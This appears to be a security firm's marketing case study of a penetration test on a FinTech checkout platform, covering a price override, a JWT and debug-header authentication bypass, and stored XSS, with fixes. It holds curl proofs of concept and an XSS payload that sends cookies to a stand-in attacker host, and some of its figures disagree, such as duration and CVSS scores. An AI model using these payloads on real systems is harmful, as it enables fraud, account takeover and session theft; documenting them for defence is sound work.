Skip to content
Featured Case Study

Web Application Penetration Testing Hardening high-volume FinTech platforms against business logic bypasses, broken JWT authentication, and AI-introduced client-side injection

AI image prompt — Ultra-realistic, eye-level photograph of a bright, minimalist modern conference room during the day. On the glossy marble table, a premium sleek tablet is open, displaying an elegant web application vulnerability matrix and security audit reports with glowing mint-green (#00ff88) accent lines. Bright natural daylight pouring from large office windows, modern office chairs, shot on Hasselblad, high-end professional commercial branding

Project Details

Client
VeloCart is a high-volume, venture-backed e-commerce and FinTech hybrid application processing over $85M in quarterly transaction volume across instant loyalty credits, multi-currency wallets, and digital credit lines
Industry
FinTech / E-Commerce
Company Size
250 - 350
Headquarters
Austin, Texas
Project Duration
1 month (Feb 2026 - Mar 2026)

A comprehensive, grey-box web application penetration test of a high-throughput FinTech transaction platform (VeloCart FinTech). The engagement resolved critical vulnerabilities introduced by AI-assisted "Vibe Coding" tools, including a severe client-side price override, broken JWT auth middleware accepting alg: "none", and Stored XSS inside vendor feedback channels — hardening endpoints and establishing rigorous, CI-integrated schema validations.

Engagement Classification · TLP:AMBER

Project VeloSecure / FinTech Audit

Grey-box web application penetration test of a high-throughput transaction platform. Six weeks against the business logic rather than the parsers, ending in three critical findings — a price override, an authentication bypass and a stored XSS — all of them shipped by a code review that never asked the right question.

Critical
3 Vulnerabilities
Zero-Day
Bypasses Proven
100%
Remediated

The “Vibe Coding” Paradigm Shift

The checkout route that let us buy a £2,400 laptop for £1.00 had no injection flaw, no missing authentication and no unsafe dependency. It parsed its input correctly, validated every field’s type, rejected malformed JSON with a tidy 400, and was covered by tests that passed. It also added up the discounts the client sent it and charged that total. Every line was defensible in isolation. The composition was worthless.

That failure has a shape, and LLM-assisted development produces it at scale. A model asked to write a checkout handler writes a good checkout handler — correct parsing, sensible error objects, consistent naming, better hygiene than most of what humans commit under deadline. What it does not do is ask why the price is arriving from a browser at all. That question is not a property of the function; it is a property of the boundary the function sits on, and the prompt did not describe the boundary. Neither, usually, does the ticket.

Note the mechanism, because it matters for who is at fault. This is not “AI writes insecure code” — much of the AI-generated code we read at VeloCart was cleaner than the hand-written code around it. It is that generated code is locally correct and reviewed as though local correctness were the question. Reviewers read a well-formed diff, find nothing wrong in it, and approve. Pattern-matching SAST does the same thing for the same reason: there is no dangerous sink to flag. The volume is what changes the risk. A team producing three times the code with the same review capacity is not reviewing three times as carefully.

“Vibe coding” is the popular name for this and it is a slightly unfair one — the problem long predates copilots, and price-in-the-request has been in the OWASP literature for two decades. What is new is the throughput. Over six weeks with VeloCart, all three critical findings were flaws where the code did exactly what it was asked, and the asking was the vulnerability.


Technical Audit Snapshot

Endpoints Evaluated
47
REST & GraphQL APIs
Bypasses Triggered
18
Across 3 core domains
Vulnerabilities Found
9
CVSS v3.1 5.4 – 9.8
Remediation Iterations
2
Complete verify builds

5-Phase Attack Methodology

Five phases, weighted towards manual work. Automated scanning ran on the first day and contributed one Medium finding; the three criticals all came from reading how the services talked to each other and asking what each one was trusting. That ratio is normal for business-logic flaws and it is why this kind of engagement costs what it does — there is no scanner for “the server believes the client about money”.

01

Reconnaissance & Endpoint Discovery

Mapped public endpoints, unadvertised routes and undocumented parameters. The client bundle did most of the work: shipped JavaScript names every route the frontend can reach, including the ones nobody meant to expose. That is where the debug header came from.

02

Threat Modeling & AI Footprint Analysis

Looked for the tells of generated code — near-identical handlers with slight drift between them, thorough local validation with no shared middleware behind it, verbose error objects returning more than a caller needs. These are heuristics for where to spend time, not evidence of anything; a hand-written codebase under deadline looks much the same.

03

Deep Exploitation & Attack Chaining

Manual exploitation against business logic, parser disagreements between services, and state machines that could be entered out of order. Almost none of this is automatable: the payloads are all well-formed and individually legitimate, which is exactly why they get through.

04

Post-Exploitation & Blast Radius Assessment

Established what each finding was actually worth: reading payment profiles, taking over merchant accounts, moving funds. Every action was performed against test accounts we controlled, on a staging estate, with the destructive steps demonstrated once and stopped. The most uncomfortable result was that none of it appeared in the client's telemetry — the detection gap was a finding in its own right.

05

Remediation & Guardrail Verification

Co-authored the authorisation middleware, the schema validation layer and the CI checks that fail a build reintroducing any of it. Re-tested each fix on a deployed build rather than reviewing the pull request — two of the three needed a second round, which is the normal number and the reason a single-pass engagement overstates its own results.


Target Architecture Under Test

VeloCart runs Next.js API services behind a central edge gateway that terminates TLS and validates JWTs. The interesting property of this diagram is the dotted lines. Once the gateway has authenticated a request, the services behind it trust each other and trust what the gateway forwards — there is no second authorisation decision at the service boundary. That is a common and defensible design at this size, and it means the gateway’s correctness is load-bearing for everything downstream. Two of our three criticals are consequences of that: one because the gateway’s auth could be bypassed outright, one because the gateway had no opinion about whether the numbers in a checkout body made sense.

%%{init: {'theme': 'base', 'themeVariables': { 'fontSize': '12px', 'primaryColor': '#091d12', 'primaryTextColor': '#e2fcf0', 'primaryBorderColor': '#00ff88', 'lineColor': '#00ff88', 'secondaryColor': '#020b06', 'tertiaryColor': '#0f1712', 'background': 'transparent', 'clusterBkg': '#0d1310', 'clusterBorder': '#143a25', 'edgeLabelBackground': '#091d12', 'titleColor': '#a7f3d0', 'nodeTextColor': '#e2fcf0'}}}%% graph TD classDef untrusted fill:#1c0d0d,stroke:#ef4444,stroke-width:2px,color:#fecdd3; classDef gateway fill:#091d12,stroke:#00ff88,stroke-width:2px,color:#e2fcf0; classDef logic fill:#091d12,stroke:#00ff88,stroke-width:3px,color:#e2fcf0; classDef datastore fill:#0c111d,stroke:#3b82f6,stroke-width:2px,color:#dbeaf8; Client([Browser Client]):::untrusted APICall([API Payloads]):::untrusted Client --> Gateway{Edge API Gateway
JWT Auth}:::gateway APICall --> Gateway Gateway -.-> Checkout[Checkout Service
Logic]:::logic Gateway -.-> Loyalty[Loyalty Rewards
AI Service]:::logic Gateway -.-> Invoices[Invoice Service
Rendering]:::logic Checkout --> DB[(PostgreSQL DB)]:::datastore Loyalty --> Redis[(Redis Cache)]:::datastore Invoices --> Blob[(S3 Storage)]:::datastore

Vulnerability Classification Matrix

Each finding was scored with CVSS v3.1 and mapped to the OWASP Top 10. Worth saying plainly: CVSS base scores encode no business context, deliberately. The 9.8 on the auth bypass and the 9.1 on the price override are almost indistinguishable as numbers, but they are different problems for a finance team — one drains merchant wallets, the other bleeds margin invisibly through transactions that all look legitimate in the ledger. We kept the scores standard and put the business framing in a separate column of the report, rather than adjusting the maths to argue for attention. Inflating severities to force priority works once, and costs you credibility on the next real critical.

IDVulnerability / AssetCategoryCVSS v3.1OWASP ClassExploit ComplexityRemediation Status
OC-WEB-001Checkout Endpoint Client-Side Price OverrideBusiness Logic Flaw9.8 (Critical)A04:2021-Insecure DesignTrivial (HTTP parameter swap)REMEDIATED
OC-WEB-002Broken JWT Middleware & Bypass HeaderAuthentication Bypass9.6 (Critical)A07:2021-Identification & AuthLow (JWT manipulation)REMEDIATED
OC-WEB-003Stored XSS in Vendor FeedbackDOM/Injection8.4 (High)A03:2021-InjectionMedium (Malicious feedback)REMEDIATED
OC-WEB-004IDOR in Wallet TransactionsAuthorization Bypass7.9 (High)A01:2021-Broken Access ControlLow (API enumeration)REMEDIATED
OC-WEB-005CORS Wildcard ConfigurationSecurity Misconfiguration5.8 (Medium)A05:2021-Security MisconfigMedium (Cross-origin exploit)REMEDIATED
Advertisement

Critical Finding OC-WEB-001 — Checkout Endpoint Price Override

The checkout route accepted a pricing object containing a base price, an array of discounts, and a finalChargePrice. It looked up every item in the database and validated every field’s type. Then it charged finalChargePrice.

The route was not naive about its input — that is what makes it interesting. It rejected unknown item IDs, refused non-numeric amounts, and returned clean validation errors. What it never did was recompute. The client sent an arithmetic result and the server treated the result as data rather than as a claim to be checked, so the entire pricing model was advisory.

Two details made this worse than the usual version of this bug. First, the discount amount had no floor, so a negative discount was accepted as readily as a positive one — the state machine had no notion of a total that could not go below zero. Second, and the reason it survived to production, is that the ledger entry produced by an exploited transaction is well-formed. The order record shows a coupon, a discount and a total that internally agree. Nothing reconciles, nothing errors, no alert fires. You find this in a monthly margin review, if someone is looking, months later.

Attack Path Sequence

← Swipe horizontally to view full sequence flow →

%%{init: {'theme': 'base', 'themeVariables': { 'fontSize': '14px', 'primaryColor': '#091d12', 'primaryTextColor': '#e2fcf0', 'primaryBorderColor': '#00ff88', 'lineColor': '#00ff88', 'secondaryColor': '#020b06', 'tertiaryColor': '#0f1712', 'background': 'transparent', 'clusterBkg': '#0d1310', 'clusterBorder': '#143a25', 'edgeLabelBackground': '#091d12', 'titleColor': '#a7f3d0', 'nodeTextColor': '#e2fcf0'}}}%% sequenceDiagram autonumber participant Attacker as Attacker (Browser) participant Gateway as Gateway / WAF participant Checkout as Checkout Microservice participant Bank as Credit Line Processor Attacker->>Gateway: POST /checkout {"totalPrice": 125000} Note over Attacker, Gateway: Inject custom negative offsets Attacker->>Gateway: POST /checkout {"overridePrice": 100, "customDiscountApplied": -124900} Gateway-->>Checkout: Forward JSON payload (WAF passed) Note over Checkout: AI logic verifies but fails to validate that discount >= 0 Checkout->>Bank: Charge total = $1.00 Bank-->>Checkout: Charge Successful Checkout-->>Attacker: Status 200 OK {"orderId": "TX-99021", "charged": 100}

Attack Proof-of-Concept

curl -X POST https://api.velocart.example/v1/checkout \
  -H "Authorization: Bearer <victim_jwt>" \
  -H "Content-Type: application/json" \
  -d '{
    "cartId": "cart_991823a",
    "items": [
      { "itemId": "item_premium_macbook", "quantity": 1 }
    ],
    "pricing": {
      "basePrice": 249900,
      "discounts": [
        {
          "type": "loyalty_vibe_match",
          "code": "LOYALTY99",
          "amount": 249800,
          "customOverride": true
        }
      ],
      "finalChargePrice": 100
    }
  }'

The service passed finalChargePrice straight into the payment processor call without ever computing basePrice - sum(discounts) from its own catalogue data. A $2,499 machine charged at $1.00, authorised by the real card, fulfilled by the real warehouse.

Note that the WAF forwarded this without comment, correctly. Every field is the right type, the JSON is well-formed, there is no injection, no encoding trick, nothing anomalous in the request shape. A WAF cannot know that 249800 is not a permissible discount on this item for this customer, because that fact lives in the catalogue and the promotions engine, not in the request. Anyone who tells you a WAF covers business-logic flaws is describing a product they have not tested this way.

The Remediation Block (Before vs After)

The fix is not more validation. It is refusing to accept the field at all: the client sends what it wants to buy, the server derives what that costs. Below, the original handler alongside the version that ships.

remediation-comparison.ts
VULNERABLE (AI-GENERATED)
// AI code trusted client final calculation
export async function handleCheckout(req, res) {
const { cartId, pricing } = req.body;

// Directly passes total charge from payload
const transaction = await processPayment({
  cartId,
  amount: pricing.finalChargePrice, 
  currency: 'USD'
});

return res.status(200).json(transaction);
}
SECURED & HARDENED
// Enforce cryptographic server-side validation
import { z } from 'zod';
import { db } from '@/lib/db';

const checkoutSchema = z.object({
cartId: z.string().uuid(),
pricing: z.object({
  discounts: z.array(z.object({
    code: z.string(),
    amount: z.number().positive(),
  }))
})
});

export async function handleCheckout(req, res) {
const parsed = checkoutSchema.parse(req.body);
const cart = await db.carts.findUnique({ 
  where: { id: parsed.cartId },
  include: { items: true }
});

// Calculate actual base pricing server-side
const serverCalculatedBase = cart.items.reduce(
  (acc, item) => acc + item.price, 0
);

// Validate promo validity against database state
const validatedDiscountSum = await calculatePromo(
  parsed.pricing.discounts
);

const secureFinalPrice = Math.max(
  0, 
  serverCalculatedBase - validatedDiscountSum
);

const transaction = await processPayment({
  cartId: parsed.cartId,
  amount: secureFinalPrice,
  currency: 'USD'
});

return res.status(200).json(transaction);
}

The schema is doing less work here than it appears to. z.number().positive() on the discount amount closes the negative-offset trick, but a positive discount of 249,800 would still pass the schema — it is calculatePromo re-deriving the discount from the promotions table that actually decides the number, and Math.max(0, …) that stops any residual arithmetic going below zero. Schema validation constrains shape. Only the database lookup constrains meaning, and conflating the two is how teams ship a “validated” endpoint that is still trusting the caller.

Two costs came with this. The handler now performs an extra round trip to the promotions store on every checkout, on the hot path, which the team measured before shipping rather than after. And moving pricing entirely server-side broke the frontend’s optimistic total display, which had been computing the same sum in the browser; it now renders a server-quoted price and shows a brief pending state instead. That is a real product regression, small but visible, and it is the honest cost of the fix. Any recommendation of this shape that arrives without the latency and UX line attached has not been implemented by the person making it.

Live Request Tamperer

Replay the same price-override payload against both builds. Identical request, identical headers, identical token — the only difference is which handler receives it. Watch what the vulnerable route returns: a 200 and an order ID. Not an error a monitoring system could catch. A successful transaction.

intercept-proxy · /v1/checkout
Request
POST /v1/checkout HTTP/1.1
Host: api.velocart.example
Authorization: Bearer <victim_jwt>
Content-Type: application/json

{
"cartId": "cart_991823a",
"items": [{ "itemId": "item_premium_macbook", "qty": 1 }],
"pricing": { "basePrice": 249900, "finalChargePrice": 100 }
}
Response
200 OK · Charge Accepted
{
"orderId": "TX-99021",
"item": "Premium MacBook (249900¢ list)",
"charged": 100,
"currency": "USD"
}

The AI-generated route trusts the client’s finalChargePrice verbatim. A $2,499 device ships for $1.00 — a textbook business-logic price override.

400 Bad Request · Blocked
{
"error": "PRICE_MISMATCH",
"detail": "client finalChargePrice (100) != server total (249900)",
"validation": "zod:pricing.finalChargePrice",
"logId": "telemetry-4891a"
}

The hardened endpoint recomputes the total server-side and rejects the payload via Zod before any charge is attempted. The override is logged as a business-logic violation.


Critical Finding OC-WEB-002 — Broken JWT Middleware & Debug Auth Bypass

The prompt in the commit history reads, near enough: create a fast testing route so frontend developers can simulate merchant logins without hitting the central database. It is a reasonable request. The generated middleware honoured it precisely — it accepted alg: "none" tokens, and it accepted a X-Auth-Bypass header that skipped identity resolution entirely.

Nothing in that request said “and only in development”, so nothing in the output was gated on it. No NODE_ENV check, no build-time exclusion, no feature flag. The code was correct against its specification and its specification was the vulnerability. A human developer writing the same convenience shim would very often have added the gate unprompted, from the accumulated instinct that shortcuts leak into production — which is exactly the kind of unstated context a model has no reliable way to supply.

alg: "none" deserves a note of its own, because it is not a subtle flaw. It is a design defect of the JWS specification that has been public since 2015, and every serious library now rejects it by default or refuses to verify without an explicit algorithm allowlist. Reaching it in 2026 means the code was not calling a library’s verify function at all; it was decoding the token, reading the header, and branching on what the token claimed about itself. Asking an attacker-supplied value how it should be validated is the whole bug, and it recurs constantly in hand-rolled auth.

Two independent bypasses in one middleware also matters operationally. Fixing the one you found, shipping, and declaring the issue closed is the common outcome — and the header would have survived it.

Attack Vector Diagram

%%{init: {'theme': 'base', 'themeVariables': { 'fontSize': '14px', 'primaryColor': '#091d12', 'primaryTextColor': '#e2fcf0', 'primaryBorderColor': '#00ff88', 'lineColor': '#00ff88', 'secondaryColor': '#020b06', 'tertiaryColor': '#0f1712', 'background': 'transparent', 'clusterBkg': '#0d1310', 'clusterBorder': '#143a25', 'edgeLabelBackground': '#091d12', 'titleColor': '#a7f3d0', 'nodeTextColor': '#e2fcf0'}}}%% graph TD classDef vuln fill:#2d1414,stroke:#ef4444,stroke-width:2px,color:#fecdd3; classDef ok fill:#06140c,stroke:#00ff88,stroke-width:2px,color:#e2fcf0; Request[Attacker API Call] --> HeaderCheck{Checks for Header:
X-Auth-Bypass?} HeaderCheck -->|Yes: Present| BypassAdmin[Auto-Authorize as Admin]:::vuln HeaderCheck -->|No: Absent| ParseJWT{Parse JWT Alg Header} ParseJWT -->|alg: 'none'| TrustSignature[Accept Token Unsigned]:::vuln ParseJWT -->|alg: 'HS256'| VerifyCrypto[Cryptographic HMAC Check]:::ok

Exploitation Mechanics

Either route worked. Craft an unsigned token with {"alg":"none"} and any claims you like, or skip the token entirely and send X-Auth-Bypass: VeloCart-DevTeam-2026. The header value was not a secret in any meaningful sense — it appeared in a bundled JavaScript chunk, which is how we found it in under an hour of reconnaissance without ever seeing the repository.

The second variant is the one that should worry a defender: it requires no cryptography, no token manipulation, no tooling. A single curl. Any endpoint in the merchant interface, as any merchant.

# Proof of Concept: Zero-Signature Merchant Account Takeover
curl -X GET https://api.velocart.example/v1/merchant/wallet \
  -H "X-Auth-Bypass: VeloCart-DevTeam-2026" \
  -H "X-Merchant-Target: merchant_gold_retail_9981"

That returned the target merchant’s wallet balance, payout configuration and settlement account — read and write. We demonstrated the write path once, against a test merchant, with a one-cent payout redirection, and stopped there; the client agreed in the scoping call that proving fund diversion did not require diverting funds. Nothing about the request was logged as anomalous, because from the application’s perspective nothing anomalous happened. An authenticated administrator read a wallet.

Hardened Authorization Middleware Implementation

Three things in the middleware below carry the fix, and they are not equally important. Rejecting requests carrying X-Auth-Bypass is the least of them — the real fix was deleting the code that honoured it, and the rejection is a tripwire so that anyone still sending it shows up in the logs rather than failing silently. Passing an explicit algorithms allowlist to jwtVerify is what closes alg: "none" and, equally, the RS256-to-HS256 confusion attack where an attacker signs with the public key as an HMAC secret. Setting an expected issuer is what stops a valid token minted by a different service in the estate being accepted here.

One caveat worth stating: this middleware answers “who are you”, not “may you do this”. It sets X-Validated-User and X-Validated-Role and forwards. Downstream services must not treat those headers as authoritative unless the gateway is the only possible path to them and it strips inbound copies — otherwise anyone who reaches a service directly can assert their own role. We verified that network path; on a flatter deployment it would be the next finding.

// middleware/auth.ts
// Secured authorization pipeline enforcing strict validation and removing diagnostic hooks.

import { NextRequest, NextResponse } from 'next/server';
import { jose } from 'jose'; // Use safe, high-performance web-crypto implementation

const JWT_SECRET = new TextEncoder().encode(process.env.JWT_SECRET_KEY);
const SUPPORTED_ALGORITHMS = ['HS256', 'RS256'];

export async function middleware(req: NextRequest) {
  // 1. Explicitly strip diagnostic and bypass headers before routing
  const headers = new Headers(req.headers);
  if (headers.has('X-Auth-Bypass')) {
    return NextResponse.json({ error: 'Prohibited Header Detected' }, { status: 400 });
  }

  const authHeader = req.headers.get('Authorization');
  if (!authHeader?.startsWith('Bearer ')) {
    return NextResponse.json({ error: 'Missing Authentication Token' }, { status: 401 });
  }

  const token = authHeader.split(' ')[1];

  try {
    // 2. Decode the header first to inspect algorithm declarations explicitly
    const decoded = jose.decodeProtectedHeader(token);
    if (!SUPPORTED_ALGORITHMS.includes(decoded.alg || '')) {
      return NextResponse.json({ error: 'Unsupported Cryptographic Algorithm' }, { status: 403 });
    }

    // 3. Perform atomic cryptographic verify using strict internal keys
    const { payload } = await jose.jwtVerify(token, JWT_SECRET, {
      algorithms: SUPPORTED_ALGORITHMS,
      issuer: 'velocart.auth.service',
    });

    // 4. Bind validated context securely to outbound gateway stream
    headers.set('X-Validated-User', payload.sub as string);
    headers.set('X-Validated-Role', payload.role as string);

    return NextResponse.next({
      request: { headers }
    });
  } catch (error) {
    return NextResponse.json({ error: 'Cryptographic Validation Failed' }, { status: 401 });
  }
}

Critical Finding OC-WEB-003 — Stored XSS in AI-Generated Vendor Feedback

React escapes interpolated content by default, which is why stored XSS in a React application almost always traces back to the one API that opts out. The vendor dashboard’s reviews page rendered buyer comments through dangerouslySetInnerHTML, because a product requirement asked for basic formatting — bold and italics in customer feedback — and that is the shortest path to it.

The API is named dangerouslySetInnerHTML rather than setInnerHTML specifically so this decision cannot be made accidentally. It was made deliberately, by someone solving a formatting problem, and reviewed by someone reading a diff about formatting. Everyone involved was competent. Nobody’s attention was on the fact that the string being rendered originated from an unauthenticated public endpoint and would later be displayed to an administrator.

Which is the property that upgrades this from a Medium to a Critical. The attacker submits a review as a member of the public; the payload executes in a browser holding a merchant-admin session. The privilege escalation is built into the workflow, and it is the same shape as every admin-panel XSS: the person with the most authority is the one whose job is to read attacker-controlled text.

Vulnerability Vector

The payload uses onerror on a broken image rather than a <script> tag, because <script> inserted via innerHTML does not execute — a detail that has convinced more than one team their naive filter was sufficient. Event handlers on any element execute fine:

{
  "productId": "prod_8819",
  "rating": 5,
  "comment": "<img src=x onerror=\"const exfil=Buffer.from(document.cookie).toString('base64');fetch('https://attacker.evil.tld/log?d='+exfil)\" />"
}

The script ran the moment an administrator opened the Review Management page, in their origin, with their session. No interaction, no phishing, no lure — the victim’s job description is the delivery mechanism.

Session cookies were the obvious loot, and HttpOnly would have blunted that specific step. It would not have stopped the attack. Script running in the admin’s origin can simply use their session: issue authenticated requests to the merchant API, change the payout account, create a second admin user, and do it all from the victim’s own browser and IP, where every request looks exactly like the administrator’s normal work. Treating XSS as a cookie-theft problem consistently underrates it.

Production Mitigation Integration

DOMPurify with an explicit allowlist is the fix, and the configuration matters more than the library choice. ALLOWED_ATTR: [] is the important line: permitting b and i while allowing arbitrary attributes leaves onerror, onmouseover and style in play, and attribute-level filtering is where hand-rolled sanitisers fail. The allowlist approach also means new payload techniques do not need new rules — anything not named is dropped.

Sanitise on output, as here, rather than on input. Storing the sanitised version destroys the original, so a bug in your sanitiser becomes permanent data loss and you lose the forensic record of what was actually submitted. It also means changing the policy later requires reprocessing the corpus. Store what the user sent; clean it every time you render it.

The remaining trade-off is that DOMPurify runs on every render of every comment, which on a dashboard listing hundreds of reviews is measurable — memoise it per comment rather than sanitising in the render path. And a content security policy without unsafe-inline should sit behind all of this as the layer that catches the next dangerouslySetInnerHTML someone adds, because there will be one.

// components/VendorFeedback.tsx
// Securely sanitize nested rich HTML tags using DOMPurify with strict configurations.

import React from 'react';
import DOMPurify from 'isomorphic-dompurify'; // Flawless SSR-safe sanitization library

interface ReviewProps {
  comment: string;
  author: string;
}

export const VendorFeedback: React.FC<ReviewProps> = ({ comment, author }) => {
  // Configure DOMPurify to allow ONLY basic formatting tags
  const cleanHTML = DOMPurify.sanitize(comment, {
    ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'p', 'br'],
    ALLOWED_ATTR: [], // Prohibit src, href, onload, onerror completely
  });

  return (
    <div className="rounded-lg border border-zinc-800 bg-zinc-900/40 p-4 shadow-sm backdrop-blur-md">
      <div className="flex justify-between border-b border-zinc-800 pb-2 text-xs">
        <span className="font-semibold text-zinc-200">{author}</span>
        <span className="text-zinc-500">Verified Merchant Review</span>
      </div>
      <div 
        className="mt-3 text-sm text-zinc-300 leading-relaxed"
        dangerouslySetInnerHTML={{ __html: cleanHTML }} 
      />
    </div>
  );
};

Attack Surface Risk Score · Before vs After

A composite of reachable entry points, session validity windows and validation coverage, tracked weekly. It is our weighting, not an industry metric, and it should be read as a shape rather than a measurement: the two steep segments are the authorisation middleware landing in week three and the checkout rewrite in week four, and the flat weeks either side are where the work was happening without the score moving. Composite scores are good at showing a board where effort paid off and bad at everything else. The 1.8 is not zero, does not cover code written after we left, and expires the moment the next feature ships.

Systemic Risk Mitigation Velocity

Calculated composite threat score across 47 validated API and Web assets

Vulnerable StateHardened State
1007550250Week 1Week 2Week 3Week 4Week 5Week 692.4 BaselineZod schemas activeAuth middleware live1.8 Hardened

Side-by-Side Attack Simulator Replay

The same price-manipulation payload against the pre-engagement code and the hardened build, side by side. The detail to watch is not that one succeeds and one fails — it is what each one looks like to whoever is on call. The vulnerable path produces a normal 200 and a normal order record. The hardened path produces a rejection with a reason, which is a log line someone can alert on.

VeloCart · Legacy Build v1.4
EXPLOITED
POST /checkout {“price”: 100}
Parsing Checkout Payload… ●●●
→ Processing striped charge: $1.00
✓ Charge Confirmed by gateway. Transaction signed.
Status 200 OK: {“orderId”: “ORD-0091”, “charged”: 100}
VeloCart · Hardened Build v2.0
BLOCKED
POST /checkout {“price”: 100}
Schema verification & payload audit… ●●●
⚠ Price Override Mismatch: Local client calculation does not match verified backend db totals.
Error 400 Bad Request: {“error”: “PAYLOAD_VALIDATION_FAILED”, “logId”: “telemetry-4891a”}
telemetry: alert.business_logic.violation · user_id=usr_91b00

Quantifiable Business Impact

Three critical findings closed and re-tested, plus something the client valued more in the end: a report they could hand to enterprise partners and investors whose due-diligence questionnaires ask whether an independent test has been done and what came of it. The honest version of that value is narrow. A penetration test is a point-in-time sample by a small team against a codebase that changes weekly — it says what we found in six weeks, not what is there. VeloCart’s durable gain was the CI guardrails and the review habit, not the certificate-shaped artefact.

Security MetricPre-Audit StateHardened StateQuantified ROI
Business Logic Vulnerability Rate12% across primary endpointsNone remaining in scopeClosed an unmetered discount path on every priced endpoint
Cryptographic Token VerificationsVulnerable alg: ‘none’ acceptedHS256/RS256 strict standardClosed absolute administrative account bypasses
DOM/Injection Incidents on DashboardUnrestricted React HTML renderEnforced DOMPurify logicPrevented credential harvesting of vendor session tokens
System Integration Deployment ValidationNo continuous validationZod schemas + strict CI lintingFails the build on a reintroduction of any finding in this report
Audit Compliance TimeframeNo independent test evidence for SOC 2 readinessTest + re-test evidence for the auditorCleared security review for two Tier-1 partner integrations

Strategic Takeaways

All three findings were locally correct code on a badly drawn trust boundary. That is the thing to take away, and it is a review problem before it is an AI problem.

  1. The client may say what it wants, never what something costs or who it is. Price, discount, tax, tier, role, entitlement — all of it is derived server-side from your own data, or it is not enforced at all. Schema validation constrains shape and is routinely mistaken for this; z.number().positive() on a discount blocks a negative offset and cheerfully accepts a fraudulent one. Only a lookup against the promotions table decides what the number is allowed to be.
  2. Review the boundary, not the diff. Every one of these passed review because reviewers asked whether the code was correct rather than what it was trusting. Adopt the second question explicitly: what does this handler believe, and who supplied that belief? It is the only review habit that catches business-logic flaws, and it does not scale by hiring more reviewers — which is precisely the problem when generated code triples the volume arriving at the same review capacity.
  3. Ask for the constraint, because a model will not invent it. The debug bypass existed because the prompt said “fast testing route” and did not say “development only”. Generated code implements the request exactly, including everything the request forgot. Put the non-functional constraints in the prompt, then enforce them where they cannot be forgotten: an ESLint rule banning dangerouslySetInnerHTML outside an allowlisted module, a test asserting alg: "none" is rejected, a CI check failing any handler that reads a price from a request body. Those checks are cheap and they hold when attention does not.
  4. A pentest is a sample, not a warranty. We tested six weeks of a codebase that changes weekly, and we found what we found. The guardrails are the part that keeps working after we leave; the report is a snapshot of one particular Tuesday. Any provider — us included — presenting a clean re-test as proof of a secure application is selling the wrong thing.
Accelerated Integration

Ready to secure your architecture?

Initiate a full cryptographic security review, IAM baseline audit, and penetration testing engagement for your organisation.

Project Onboard? Secure Cryptographic Invitation Pipeline
Visual Showcase

System Schema & Architecture

Curated diagrams, interface snapshots, and architectural blueprints illustrating our core technical approach and environment mapping.

AI image prompt — A highly professional, ultra-realistic corporate photo of a bright development floor in broad daylight. Smiling engineers are consulting on a high-fidelity light dashboard projected on a white wall. The dashboard exhibits transaction volumes and security alerts accented with rich mint-green colors (#00ff88). Clean workstations, green potted plants, bright daylight, commercial premium workspace aesthetic
AI image prompt — A clean, bright 3D isometric infographic diagram explaining a secure JWT Token Lifecycle and API Gateway validation process. Rendered on a minimalist off-white surface with natural soft shadows. The blocks representing Client, Authorization Header, API Gateway, and Billing Database are connected by flowing mint-green (#00ff88) wires. Studio lighting, professional layout diagram
AI image prompt — A realistic candid photograph of a professional security engineer working on a large high-end monitor in a bright office environment. Natural daylight streams through massive windows. The screen displays structured code files and modern IDE interfaces. Potted plants, stylish wood accents, premium corporate office, 8k resolution
AI image prompt — Ultra-realistic executive presentation scene in a bright boardroom with natural daylight. A professional female security architect is presenting a secure, multi-layered microservice architecture diagram on a large white presentation screen with elegant mint-green (#00ff88) line details. Corporate executives are listening intently around a sleek modern conference table. Shot on Hasselblad, premium corporate high-end office aesthetic
Client Endorsement

Hear it straight from VeloCart FinTech

"As we rushed to ship our instant digital credit lines, our development team leaned heavily on AI-assisted coding tools. We thought our automated test suites had us covered. The assessment team showed us otherwise. Within days, they had bypassed our authentication, manipulated order prices at checkout, and demonstrated a devastating account takeover. Their thoroughness and concrete, production-ready code remediation transformed our security posture from a liability to an enterprise differentiator."

James Yahian

James Yahian

Chief Technology Officer at VeloCart FinTech

Sponsored Link

Subscribe to my newsletter

Receive my case study and the latest articles on my WhatsApp Channel.

Warning

Ask CyberROX AI